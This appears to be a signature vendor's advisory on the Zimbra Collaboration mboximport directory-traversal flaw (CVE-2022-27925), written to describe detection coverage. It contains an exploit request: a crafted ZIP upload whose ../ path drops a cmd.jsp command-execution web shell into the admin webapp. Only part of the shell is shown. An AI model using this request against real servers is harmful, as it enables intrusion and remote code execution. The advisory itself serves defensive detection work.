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Zimbra Remote Code Execution (CVE-2022-27925)



Application Details

Zimbra Collaboration is a cloud based, open-source email platform with integrated and anti-virus.


Vulnerability

Zimbra Collaboration could allow a remote authenticated attacker to traverse directories on the system, caused by improper ZIP archive validation by the mboximport function.


Identification

An attacker could use a specially crafted URL request containing "dot dot" sequences (/../) to execute arbitrary code on the system.


POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd

PAYLOAD - PK..........
U..*.=...=...0...../../../../mailboxd/webapps/zimbraAdmin/cmd.jsp<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to perform remote code execution on an affected system.


Coverage

Idappcom have created signature 8022991 for this vulnerability.


References


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